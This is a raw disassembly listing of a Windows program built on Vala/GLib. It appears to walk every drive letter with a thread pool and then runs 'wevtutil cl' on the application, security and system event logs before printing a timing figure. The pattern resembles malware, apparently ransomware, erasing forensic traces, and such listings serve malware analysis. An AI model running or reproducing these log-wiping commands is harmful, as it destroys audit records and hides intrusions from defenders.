mov dword [rbp + 0x17c], eax
mov eax, dword [rbp + 0xc1c]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x180]
add rax, rdx
mov rax, qword [rax]
mov qword [rbp + 0x170], rax
mov rax, qword [rbp + 0xbf8]
mov qword [rbp + 0x168], rax
mov rax, qword [rbp + 0xbe8]
mov qword [rbp + 0x160], rax
mov eax, dword [rbp + 0x674]
mov dword [rbp + 0x15c], eax
mov rax, qword [rbp + 0x338]
mov qword [rbp + 0x150], rax
mov r9d, dword [rbp + 0x15c]
mov r8, qword [rbp + 0x160]
mov rdx, qword [rbp + 0x168]
mov rax, qword [rbp + 0x170]
mov rcx, qword [rbp + 0x150]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call sym.program_Iterate
jmp 0x14000740a
mov qword [rbp + 0x318], 0
lea rax, str.ABCDEFGHIJKLMNOPQRSTUVWXYZ
mov qword [rbp + 0x18], rax
mov rax, qword [rbp + 0x18]
mov rcx, rax
mov rax, qword [sym.imp.libglib_2.0_0.dll_g_strdup]
call rax
mov qword [rbp + 0x310], rax
lea rax, [0x14001ba28]
mov qword [rbp + 0x20], rax
mov rax, qword [rbp + 0x20]
mov rcx, rax
mov rax, qword [sym.imp.libglib_2.0_0.dll_g_strdup]
call rax
mov qword [rbp + 0x308], rax
lea rax, [0x14001ba2a]
mov qword [rbp + 0x28], rax
mov rax, qword [rbp + 0x28]
mov rcx, rax
mov rax, qword [sym.imp.libglib_2.0_0.dll_g_strdup]
call rax
mov qword [rbp + 0x300], rax
lea rax, [0x14001ba2c]
mov qword [rbp + 0x30], rax
mov rax, qword [rbp + 0x30]
mov rcx, rax
mov rax, qword [sym.imp.libglib_2.0_0.dll_g_strdup]
call rax
mov qword [rbp + 0x2f8], rax
lea rax, [0x14001ba2e]
mov qword [rbp + 0x38], rax
mov rax, qword [rbp + 0x38]
mov rcx, rax
mov rax, qword [sym.imp.libglib_2.0_0.dll_g_strdup]
call rax
mov qword [rbp + 0x2f0], rax
lea rax, [0x14001ba30]
mov qword [rbp + 0x40], rax
mov rax, qword [rbp + 0x40]
mov rcx, rax
mov rax, qword [sym.imp.libglib_2.0_0.dll_g_strdup]
call rax
mov qword [rbp + 0x2e8], rax
lea rax, [0x14001ba32]
mov qword [rbp + 0x48], rax
mov rax, qword [rbp + 0x48]
mov rcx, rax
mov rax, qword [sym.imp.libglib_2.0_0.dll_g_strdup]
call rax
mov qword [rbp + 0x2e0], rax
lea rax, [0x14001ba34]
mov qword [rbp + 0x50], rax
mov rax, qword [rbp + 0x50]
mov rcx, rax
mov rax, qword [sym.imp.libglib_2.0_0.dll_g_strdup]
call rax
mov qword [rbp + 0x2d8], rax
lea rax, [0x14001ba36]
mov qword [rbp + 0x58], rax
mov rax, qword [rbp + 0x58]
mov rcx, rax
mov rax, qword [sym.imp.libglib_2.0_0.dll_g_strdup]
call rax
mov qword [rbp + 0x2d0], rax
lea rax, [0x14001ba38]
mov qword [rbp + 0x60], rax
mov rax, qword [rbp + 0x60]
mov rcx, rax
mov rax, qword [sym.imp.libglib_2.0_0.dll_g_strdup]
call rax
mov qword [rbp + 0x2c8], rax
lea rax, [0x14001ba3a]
mov qword [rbp + 0x68], rax
mov rax, qword [rbp + 0x68]
mov rcx, rax
mov rax, qword [sym.imp.libglib_2.0_0.dll_g_strdup]
call rax
mov qword [rbp + 0x2c0], rax
lea rax, [0x14001ba3c]
mov qword [rbp + 0x70], rax
mov rax, qword [rbp + 0x70]
mov rcx, rax
mov rax, qword [sym.imp.libglib_2.0_0.dll_g_strdup]
call rax
mov qword [rbp + 0x2b8], rax
lea rax, [0x14001ba3e]
mov qword [rbp + 0x78], rax
mov rax, qword [rbp + 0x78]
mov rcx, rax
mov rax, qword [sym.imp.libglib_2.0_0.dll_g_strdup]
call rax
mov qword [rbp + 0x2b0], rax
lea rax, [0x14001ba40]
mov qword [rbp + 0x80], rax
mov rax, qword [rbp + 0x80]
mov rcx, rax
mov rax, qword [sym.imp.libglib_2.0_0.dll_g_strdup]
call rax
mov qword [rbp + 0x2a8], rax
lea rax, [0x14001ba42]
mov qword [rbp + 0x88], rax
mov rax, qword [rbp + 0x88]
mov rcx, rax
mov rax, qword [sym.imp.libglib_2.0_0.dll_g_strdup]
call rax
mov qword [rbp + 0x2a0], rax
lea rax, [0x14001ba44]
mov qword [rbp + 0x90], rax
mov rax, qword [rbp + 0x90]
mov rcx, rax
mov rax, qword [sym.imp.libglib_2.0_0.dll_g_strdup]
call rax
mov qword [rbp + 0x298], rax
lea rax, [0x14001ba46]
mov qword [rbp + 0x98], rax
mov rax, qword [rbp + 0x98]
mov rcx, rax
mov rax, qword [sym.imp.libglib_2.0_0.dll_g_strdup]
call rax
mov qword [rbp + 0x290], rax
lea rax, [0x14001ba48]
mov qword [rbp + 0xa0], rax
mov rax, qword [rbp + 0xa0]
mov rcx, rax
mov rax, qword [sym.imp.libglib_2.0_0.dll_g_strdup]
call rax
mov qword [rbp + 0x288], rax
lea rax, [0x14001ba4a]
mov qword [rbp + 0xa8], rax
mov rax, qword [rbp + 0xa8]
mov rcx, rax
mov rax, qword [sym.imp.libglib_2.0_0.dll_g_strdup]
call rax
mov qword [rbp + 0x280], rax
lea rax, [0x14001ba4c]
mov qword [rbp + 0xb0], rax
mov rax, qword [rbp + 0xb0]
mov rcx, rax
mov rax, qword [sym.imp.libglib_2.0_0.dll_g_strdup]
call rax
mov qword [rbp + 0x278], rax
lea rax, [0x14001ba4e]
mov qword [rbp + 0xb8], rax
mov rax, qword [rbp + 0xb8]
mov rcx, rax
mov rax, qword [sym.imp.libglib_2.0_0.dll_g_strdup]
call rax
mov qword [rbp + 0x270], rax
lea rax, [0x14001ba50]
mov qword [rbp + 0xc0], rax
mov rax, qword [rbp + 0xc0]
mov rcx, rax
mov rax, qword [sym.imp.libglib_2.0_0.dll_g_strdup]
call rax
mov qword [rbp + 0x268], rax
lea rax, [0x14001ba52]
mov qword [rbp + 0xc8], rax
mov rax, qword [rbp + 0xc8]
mov rcx, rax
mov rax, qword [sym.imp.libglib_2.0_0.dll_g_strdup]
call rax
mov qword [rbp + 0x260], rax
lea rax, [0x14001ba54]
mov qword [rbp + 0xd0], rax
mov rax, qword [rbp + 0xd0]
mov rcx, rax
mov rax, qword [sym.imp.libglib_2.0_0.dll_g_strdup]
call rax
mov qword [rbp + 0x258], rax
lea rax, [0x14001ba56]
mov qword [rbp + 0xd8], rax
mov rax, qword [rbp + 0xd8]
mov rcx, rax
mov rax, qword [sym.imp.libglib_2.0_0.dll_g_strdup]
call rax
mov qword [rbp + 0x250], rax
lea rax, [0x14001ba58]
mov qword [rbp + 0xe0], rax
mov rax, qword [rbp + 0xe0]
mov rcx, rax
mov rax, qword [sym.imp.libglib_2.0_0.dll_g_strdup]
call rax
mov qword [rbp + 0x248], rax
mov edx, 8
mov ecx, 0x1b
mov rax, qword [sym.imp.libglib_2.0_0.dll_g_malloc0_n]
call rax
mov qword [rbp + 0x240], rax
mov rax, qword [rbp + 0x240]
mov rdx, qword [rbp + 0x310]
mov qword [rax], rdx
mov rax, qword [rbp + 0x240]
lea rdx, [rax + 8]
mov rax, qword [rbp + 0x308]
mov qword [rdx], rax
mov rax, qword [rbp + 0x240]
lea rdx, [rax + 0x10]
mov rax, qword [rbp + 0x300]
mov qword [rdx], rax
mov rax, qword [rbp + 0x240]
lea rdx, [rax + 0x18]
mov rax, qword [rbp + 0x2f8]
mov qword [rdx], rax
mov rax, qword [rbp + 0x240]
lea rdx, [rax + 0x20]
mov rax, qword [rbp + 0x2f0]
mov qword [rdx], rax
mov rax, qword [rbp + 0x240]
lea rdx, [rax + 0x28]
mov rax, qword [rbp + 0x2e8]
mov qword [rdx], rax
mov rax, qword [rbp + 0x240]
lea rdx, [rax + 0x30]
mov rax, qword [rbp + 0x2e0]
mov qword [rdx], rax
mov rax, qword [rbp + 0x240]
lea rdx, [rax + 0x38]
mov rax, qword [rbp + 0x2d8]
mov qword [rdx], rax
mov rax, qword [rbp + 0x240]
lea rdx, [rax + 0x40]
mov rax, qword [rbp + 0x2d0]
mov qword [rdx], rax
mov rax, qword [rbp + 0x240]
lea rdx, [rax + 0x48]
mov rax, qword [rbp + 0x2c8]
mov qword [rdx], rax
mov rax, qword [rbp + 0x240]
lea rdx, [rax + 0x50]
mov rax, qword [rbp + 0x2c0]
mov qword [rdx], rax
mov rax, qword [rbp + 0x240]
lea rdx, [rax + 0x58]
mov rax, qword [rbp + 0x2b8]
mov qword [rdx], rax
mov rax, qword [rbp + 0x240]
lea rdx, [rax + 0x60]
mov rax, qword [rbp + 0x2b0]
mov qword [rdx], rax
mov rax, qword [rbp + 0x240]
lea rdx, [rax + 0x68]
mov rax, qword [rbp + 0x2a8]
mov qword [rdx], rax
mov rax, qword [rbp + 0x240]
lea rdx, [rax + 0x70]
mov rax, qword [rbp + 0x2a0]
mov qword [rdx], rax
mov rax, qword [rbp + 0x240]
lea rdx, [rax + 0x78]
mov rax, qword [rbp + 0x298]
mov qword [rdx], rax
mov rax, qword [rbp + 0x240]
lea rdx, [rax + 0x80]
mov rax, qword [rbp + 0x290]
mov qword [rdx], rax
mov rax, qword [rbp + 0x240]
lea rdx, [rax + 0x88]
mov rax, qword [rbp + 0x288]
mov qword [rdx], rax
mov rax, qword [rbp + 0x240]
lea rdx, [rax + 0x90]
mov rax, qword [rbp + 0x280]
mov qword [rdx], rax
mov rax, qword [rbp + 0x240]
lea rdx, [rax + 0x98]
mov rax, qword [rbp + 0x278]
mov qword [rdx], rax
mov rax, qword [rbp + 0x240]
lea rdx, [rax + 0xa0]
mov rax, qword [rbp + 0x270]
mov qword [rdx], rax
mov rax, qword [rbp + 0x240]
lea rdx, [rax + 0xa8]
mov rax, qword [rbp + 0x268]
mov qword [rdx], rax
mov rax, qword [rbp + 0x240]
lea rdx, [rax + 0xb0]
mov rax, qword [rbp + 0x260]
mov qword [rdx], rax
mov rax, qword [rbp + 0x240]
lea rdx, [rax + 0xb8]
mov rax, qword [rbp + 0x258]
mov qword [rdx], rax
mov rax, qword [rbp + 0x240]
lea rdx, [rax + 0xc0]
mov rax, qword [rbp + 0x250]
mov qword [rdx], rax
mov rax, qword [rbp + 0x240]
lea rdx, [rax + 0xc8]
mov rax, qword [rbp + 0x248]
mov qword [rdx], rax
mov rax, qword [rbp + 0x240]
mov qword [rbp + 0x318], rax
mov dword [rbp + 0x23c], 0x1a
mov eax, dword [rbp + 0x23c]
mov dword [rbp + 0x238], eax
mov dword [rbp + 0xc14], 0
mov dword [rbp + 0xc14], 0
mov dword [rbp + 0xc10], 0
mov dword [rbp + 0xc10], 1
cmp dword [rbp + 0xc10], 0
jne 0x140007c08
mov eax, dword [rbp + 0xc14]
mov dword [rbp + 0x234], eax
mov eax, dword [rbp + 0x234]
add eax, 1
mov dword [rbp + 0xc14], eax
mov dword [rbp + 0xc10], 0
mov rax, qword [rbp + 0x318]
mov qword [rbp + 0x228], rax
mov eax, dword [rbp + 0x23c]
mov dword [rbp + 0x224], eax
mov eax, dword [rbp + 0xc14]
cmp eax, dword [rbp + 0x224]
jge 0x140007d50
mov rax, qword [rbp + 0x318]
mov qword [rbp + 0x218], rax
mov eax, dword [rbp + 0x23c]
mov dword [rbp + 0x214], eax
mov eax, dword [rbp + 0xc14]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x218]
add rax, rdx
mov rax, qword [rax]
mov qword [rbp + 0x208], rax
mov rax, qword [rbp + 0x208]
mov rcx, rax
call sym.string_to_string
mov qword [rbp + 0x200], rax
mov rax, qword [rbp + 0x200]
mov r8d, 0
lea rdx, [0x14001ba5a]
mov rcx, rax
mov rax, qword [sym.imp.libglib_2.0_0.dll_g_strconcat]
call rax
mov qword [rbp + 0x1f8], rax
mov rax, qword [rbp + 0x1f8]
mov qword [rbp + 0x1f0], rax
mov rax, qword [rbp + 0xbf8]
mov qword [rbp + 0x1e8], rax
mov rax, qword [rbp + 0xbe8]
mov qword [rbp + 0x1e0], rax
mov eax, dword [rbp + 0x674]
mov dword [rbp + 0x1dc], eax
mov rax, qword [rbp + 0x338]
mov qword [rbp + 0x1d0], rax
mov r9d, dword [rbp + 0x1dc]
mov r8, qword [rbp + 0x1e0]
mov rdx, qword [rbp + 0x1e8]
mov rax, qword [rbp + 0x1f0]
mov rcx, qword [rbp + 0x1d0]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call sym.program_Iterate
mov rax, qword [rbp + 0x1f0]
mov rcx, rax
mov rax, qword [sym.imp.libglib_2.0_0.dll_g_free]
call rax
mov qword [rbp + 0x1f0], 0
jmp 0x140007be4
nop
mov eax, dword [rbp + 0x23c]
movsxd rdx, eax
mov rcx, qword [sym.imp.libglib_2.0_0.dll_g_free]
mov rax, qword [rbp + 0x318]
mov r8, rcx
mov rcx, rax
call sym._vala_array_free
mov qword [rbp + 0x318], 0
jmp 0x140007d81
nop
cmp qword [rbp + 0x338], 0
je 0x140007dfa
mov rax, qword [rbp + 0x338]
mov r8d, 1
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.libglib_2.0_0.dll_g_thread_pool_free]
call rax
mov qword [rbp + 0x338], 0
jmp 0x140007dfa
nop
mov rax, rbp
mov rcx, rax
mov rax, qword [sym.imp.libglib_2.0_0.dll_g_clear_error]
call rax
mov ecx, 1
mov rax, qword [dbg.__acrt_iob_func]
call rax
mov qword [rbp + 0x148], rax
mov rax, qword [rbp + 0x148]
lea r8, str.____Could_not_create_thread_pool_n
lea rdx, [0x14001b303]
mov rcx, rax
call sym.fprintf
jmp 0x140007dfb
nop
mov rax, qword [rbp]
test rax, rax
je 0x140007f2c
mov rax, qword [rbp + 0xbe8]
mov rcx, rax
mov rax, qword [sym.imp.libglib_2.0_0.dll_g_free]
call rax
mov qword [rbp + 0xbe8], 0
mov rax, qword [rbp + 0xbf0]
mov rcx, rax
mov rax, qword [sym.imp.libglib_2.0_0.dll_g_free]
call rax
mov qword [rbp + 0xbf0], 0
cmp qword [rbp + 0xbf8], 0
je 0x140007e6c
mov rax, qword [rbp + 0xbf8]
mov rcx, rax
mov rax, qword [sym.imp.libgobject_2.0_0.dll_g_object_unref]
call rax
mov qword [rbp + 0xbf8], 0
cmp qword [rbp + 0xc00], 0
je 0x140007e94
mov rax, qword [rbp + 0xc00]
mov rcx, rax
mov rax, qword [sym.imp.libglib_2.0_0.dll_g_date_time_unref]
call rax
mov qword [rbp + 0xc00], 0
mov eax, dword [rbp + 0xbc4]
movsxd rdx, eax
mov rcx, qword [sym.imp.libglib_2.0_0.dll_g_free]
mov rax, qword [rbp + 0xc08]
mov r8, rcx
mov rcx, rax
call sym._vala_array_free
mov qword [rbp + 0xc08], 0
mov rax, qword [rbp]
mov ebx, dword [rax + 4]
mov rax, qword [rbp]
mov eax, dword [rax]
mov ecx, eax
mov rax, qword [sym.imp.libglib_2.0_0.dll_g_quark_to_string]
call rax
mov rdx, qword [rbp]
mov rdx, qword [rdx + 8]
mov dword [rsp + 0x38], ebx
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x28], rdx
mov dword [rsp + 0x20], 0xa78
lea r9, str.C:_msys64_home_poco_main_thread.vala.c
lea r8, [0x14001b070]
mov edx, 8
mov ecx, 0
mov rax, qword [sym.imp.libglib_2.0_0.dll_g_log]
call rax
mov rax, rbp
mov rcx, rax
mov rax, qword [sym.imp.libglib_2.0_0.dll_g_clear_error]
call rax
jmp 0x14000818e
lea rax, str.cmd__c__wevtutil_cl_application_
mov rcx, rax
call sym.system
lea rax, str.cmd__c__wevtutil_cl_security_
mov rcx, rax
call sym.system
lea rax, str.cmd__c__wevtutil_cl_system_
mov rcx, rax
call sym.system
mov rax, qword [sym.imp.libglib_2.0_0.dll_g_date_time_new_now_utc]
call rax
mov qword [rbp + 0x140], rax
mov rax, qword [rbp + 0x140]
mov qword [rbp + 0xbe0], rax
mov rax, qword [rbp + 0xbe0]
mov qword [rbp + 0x138], rax
mov rax, qword [rbp + 0xc00]
mov qword [rbp + 0x130], rax
mov rdx, qword [rbp + 0x130]
mov rax, qword [rbp + 0x138]
mov rcx, rax
mov rax, qword [sym.imp.libglib_2.0_0.dll_g_date_time_difference]
call rax
mov qword [rbp + 0xbd8], rax
mov ecx, 1
mov rax, qword [dbg.__acrt_iob_func]
call rax
mov qword [rbp + 0x128], rax
pxor xmm0, xmm0
cvtsi2sd xmm0, qword [rbp + 0xbd8]
movsd xmm1, qword [0x14001c148]
divsd xmm0, xmm1
movq rax, xmm0
movq xmm0, rax
call sym.double_to_string
mov qword [rbp + 0x120], rax
mov rax, qword [rbp + 0x120]
mov qword [rbp + 0x118], rax
mov rax, qword [rbp + 0x118]
mov rcx, rax
call sym.string_to_string
mov qword [rbp + 0x110], rax
mov rax, qword [rbp + 0x110]
mov r8d, 0
lea rdx, [0x14001bae3]
mov rcx, rax
mov rax, qword [sym.imp.libglib_2.0_0.dll_g_strconcat]
call rax
mov qword [rbp + 0x108], rax
mov rax, qword [rbp + 0x108]
mov qword [rbp + 0x100], rax
mov rdx, qword [rbp + 0x100]
mov rax, qword [rbp + 0x128]
mov r8, rdx
lea rdx, [0x14001b303]
mov rcx, rax
call sym.fprintf
mov rax, qword [rbp + 0x100]
mov rcx, rax
mov rax, qword [sym.imp.libglib_2.0_0.dll_g_free]
call rax
mov qword [rbp + 0x100], 0
mov rax, qword [rbp + 0x118]
mov rcx, rax
mov rax, qword [sym.imp.libglib_2.0_0.dll_g_free]
call rax
mov qword [rbp + 0x118], 0
cmp qword [rbp + 0xbe0], 0
je 0x1400080d5
mov rax, qword [rbp + 0xbe0]
mov rcx, rax
mov rax, qword [sym.imp.libglib_2.0_0.dll_g_date_time_unref]
call rax
mov qword [rbp + 0xbe0], 0
mov rax, qword [rbp + 0xbe8]
mov rcx, rax
mov rax, qword [sym.imp.libglib_2.0_0.dll_g_free]
call rax
mov qword [rbp + 0xbe8], 0
mov rax, qword [rbp + 0xbf0]
mov rcx, rax
mov rax, qword [sym.imp.libglib_2.0_0.dll_g_free]
call rax
mov qword [rbp + 0xbf0], 0
cmp qword [rbp + 0xbf8], 0
je 0x140008139
mov rax, qword [rbp + 0xbf8]
mov rcx, rax
mov rax, qword [sym.imp.libgobject_2.0_0.dll_g_object_unref]
call rax
mov qword [rbp + 0xbf8], 0
cmp qword [rbp + 0xc00], 0
je 0x140008161
mov rax, qword [rbp + 0xc00]
mov rcx, rax
mov rax, qword [sym.imp.libglib_2.0_0.dll_g_date_time_unref]
call rax
mov qword [rbp + 0xc00], 0
mov eax, dword [rbp + 0xbc4]
movsxd rdx, eax
mov rcx, qword [sym.imp.libglib_2.0_0.dll_g_free]
mov rax, qword [rbp + 0xc08]
mov r8, rcx
mov rcx, rax
call sym._vala_array_free
mov qword [rbp + 0xc08], 0
add rsp, 0xcd8
pop rbx
pop rbp
ret